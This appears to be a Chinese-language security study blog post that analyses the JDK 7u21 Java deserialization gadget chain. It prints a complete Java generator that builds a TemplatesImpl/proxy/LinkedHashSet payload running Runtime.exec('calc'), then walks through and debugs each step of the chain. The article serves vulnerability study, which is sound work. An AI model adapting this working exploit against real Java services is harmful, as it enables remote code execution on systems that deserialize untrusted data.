0x01 前言
在Java的反序列化中,有一个经典的漏洞,在没有存在反序列化漏洞的第三方库的情况下, 可以利用其实现反序列化漏洞的利用,那就是jdk版本7u21及以前的版本存在的利用链,可以利用jdk的原生代码实现反序列化漏洞。该反序列化漏洞的sink也是TemplatesImpl类,但source则为hashset,该利用链会比较复杂一些,中间利用到了动态代理、CB链中的TemplatesImpl.getOutputProperties方法和CC7中的哈希碰撞问题。
0x02 相关知识
AnnotationInvocationHandler#equalsImpl
该方法中可利用部分在else语句块中,所以前两个if不能满足,首先是第一个if,传入参数不能等于AnnotationInvocationHandler其本身,第二个if是传入的参数必须是this.type类的实例。
比较关键的三行已经标红,跟进this.getMenberMethods,该方法会获取this.type类中的所有方法并返回。
然后是this.asOneOfUs方法,该方法会判断传入参数是否是代理类,如果是则获取该代理类的InvocationHandler对象并判断其是否是AnnotationInvocationHandler类实例。
接着调用Method#invoke方法,所以equalsImpl方法会遍历this.type类的所有方法并进行调用。而我们传入Templates类作为this.type的值,而Templates接口类只有两个方法newTransformer方法和getOutputProperties方法,这两个方法则会引起恶意字节码加载。
所需条件:
- 传入参数为
Templates实例,即TemplatesImpl实例 AnnotationInvocationHandler的type属性为Templates接口类AnnotationInvocationHandler#invoke
invoke中会调用到equalsImpl方法,该方法有些眼熟,我们在CC1中使用动态代理对AnnotationInvocationHandler进行了套娃。该方法作为代理类的劫持方法,只要代理的类中调用任何方法都会触发invoke方法,而在该链中需要proxy类调用方法为equals,并且该方法的参数只能为1个并且参数类型必须是Object类型,传入参数是TemplatesImpl。所以我们需要找到一个类存在equals(Object obj)方法并且在反序列化时调用到。
HashMap#put
HashMap#put方法会将当前的key和entry中的其它的key进行比较,如果两者hash相同,则会比较两个对象的地址是否相同或者引用的对象相同。而HashSet实际是由HashMap实现的,在HashSet进行反序列化时会调用到map.put方法。所以我们需要让Proxy实例和TemplatesImpl实例hash相同。
Proxy#hashcode
Proxy#hashcode方法依旧会触发AnnotationInvocationHandler#invoke方法,进而调用AnnotationInvocationHandler#hashCodeImpl方法,该方法会将this.memberValues中所有的的key-value进行如下计算并求和:(127 * key.hashCode()) ^ value.hashCode()
这里有一个trick:0异或任何数都等于那个数本身,所以只要找到一个key的hashCode为0,那么整个表达式就变成了(127*0)^value.hashCode(),即value.hashCode。如果我们的key传入hashCode为0,value为TemplatesImpl,那么则可以保证proxy.hash与templatesImpl的hash相同。
对于如何找到hash为0的key,p牛给出了如下代码,最后跑出来的第一个字符串为f5a5a608public static void bruteHashCode(){for (long i = 0; i < 9999999999L; i++) {if (Long.toHexString(i).hashCode() == 0) {System.out.println(Long.toHexString(i));}}}
0x03 利用链分析
利用链如下: ```java package com.kemoon;
import javassist.ClassPool; import javassist.CtClass;
import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.HashSet; import java.util.LinkedHashSet; import java.util.Map;
public class JDK7u21 { public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";ClassPool classPool=ClassPool.getDefault();classPool.appendClassPath(AbstractTranslet);CtClass payload=classPool.makeClass("JDK7u21");payload.setSuperclass(classPool.get(AbstractTranslet));payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");byte[] bytes=payload.toBytecode();Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");field.setAccessible(true);field.set(templatesImpl,new byte[][]{bytes});Field field1=templatesImpl.getClass().getDeclaredField("_name");field1.setAccessible(true);field1.set(templatesImpl,"jdk7u21");String zeroHashCodeStr = "f5a5a608";// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值HashMap map = new HashMap();map.put(zeroHashCodeStr, "foo");// 实例化AnnotationInvocationHandler类Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);handlerConstructor.setAccessible(true);InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);// 为tempHandler创造一层代理Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);// 实例化HashSet,并将两个对象放进去HashSet set = new LinkedHashSet();set.add(templatesImpl);set.add(proxy);// 将恶意templates设置到map中map.put(zeroHashCodeStr, templatesImpl);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(set);oos.close();ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
}
首先代码第一部分使用`javassist`生成恶意字节码和`TemplatesImpl`反射加载字节码跟之前的链没什么区别,直接略过。从以下代码开始,这部分代码创建了一个`HashMap`,其中`key`值设置为`hash`为0的字符串,理论上`value`值应该设置为`templatesImpl`,为什么要先随便设置值呢?```javaString zeroHashCodeStr = "f5a5a608";// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值HashMap map = new HashMap();map.put(zeroHashCodeStr, "foo");
实例化AnnotationInvocationHandler类,同时将之前的HashMap赋给AnnotationInvocationHandler的memberValues。
// 实例化AnnotationInvocationHandler类Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);handlerConstructor.setAccessible(true);InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
为Templates接口创建动态代理,为什么要给TemplatesImpl接口创建动态代理而不是其它接口呢?经过实验发现使用其它接口也是可以的,比如Map接口,因为我们最终调用到的时Proxy#hashCode方法,而该方法会调用this.hashCodeImpl,跟proxy实现哪个接口没有关系。
// 为tempHandler创造一层代理Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
实例化HashSet,将proxy对象和templatesImpl对象添加到hashSet中。这里有一个问题,为什么创建的是LinkedHashSet而不是HashSet?
// 实例化HashSet,并将两个对象放进去HashSet set = new LinkedHashSet();set.add(templatesImpl);set.add(proxy);
最后,在map中添加hash为0的key,templatesImpl作为value。
// 将恶意templates设置到map中map.put(zeroHashCodeStr, templatesImpl);
利用链:
LinkedHashSet.readObject()LinkedHashSet.add()...TemplatesImpl.hashCode()LinkedHashSet.add()...Proxy(Templates).hashCode()AnnotationInvocationHandler.invoke()AnnotationInvocationHandler.hashCodeImpl()String.hashCode()AnnotationInvocationHandler.memberValueHashCode()TemplatesImpl.hashCode()Proxy(Templates).equals()AnnotationInvocationHandler.invoke()AnnotationInvocationHandler.equalsImpl()Method.invoke()...TemplatesImpl.getOutputProperties()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()ClassLoader.defineClass()Class.newInstance()...MaliciousClass.<clinit>()...Runtime.exec()
0x04 利用链调试
HashSet#readObject,读取两个元素并添加map中
HashMap#put,传入参数为key-TemplatesImpl和value-PRESENT,这里暂时不理解PRESENT。
HashMap#put,传入参数为key-Proxy
HashMap#hash(Proxy),k为proxy实例,proxy.hashCode触发invoke方法。
AnnotationInvocationHandler#invoke
AnnotationInvocationHandler#hashCodeImpl,该方法会从memberValues中对key-value求hash。
AnnotationInvocationHandler#invoke
AnnotationInvocationHandler#equalsImpl方法,反射调用this.type的所有方法,传入参数为TemplatesImpl对象,method为newTransformer。
经过测试,发现HashSet也是偶尔可以成功的,但是进行调试的时候一直可以成功。后来通过打印HashSet,可以看到我们传入的templatesImpl和proxy的顺序跟我们传入的顺序没有关系,是随机的。而我们的利用链要保证成功需要templatesImpl为第一个元素,proxy为第二个元素。因此使用LinkedHashSet,LinkedHashSet不会更改我们插入元素的顺序。
0x05 总结
JDK7u21比较复杂,p牛的《java安全漫谈》也快看完了,接下来主要不是看链子了。
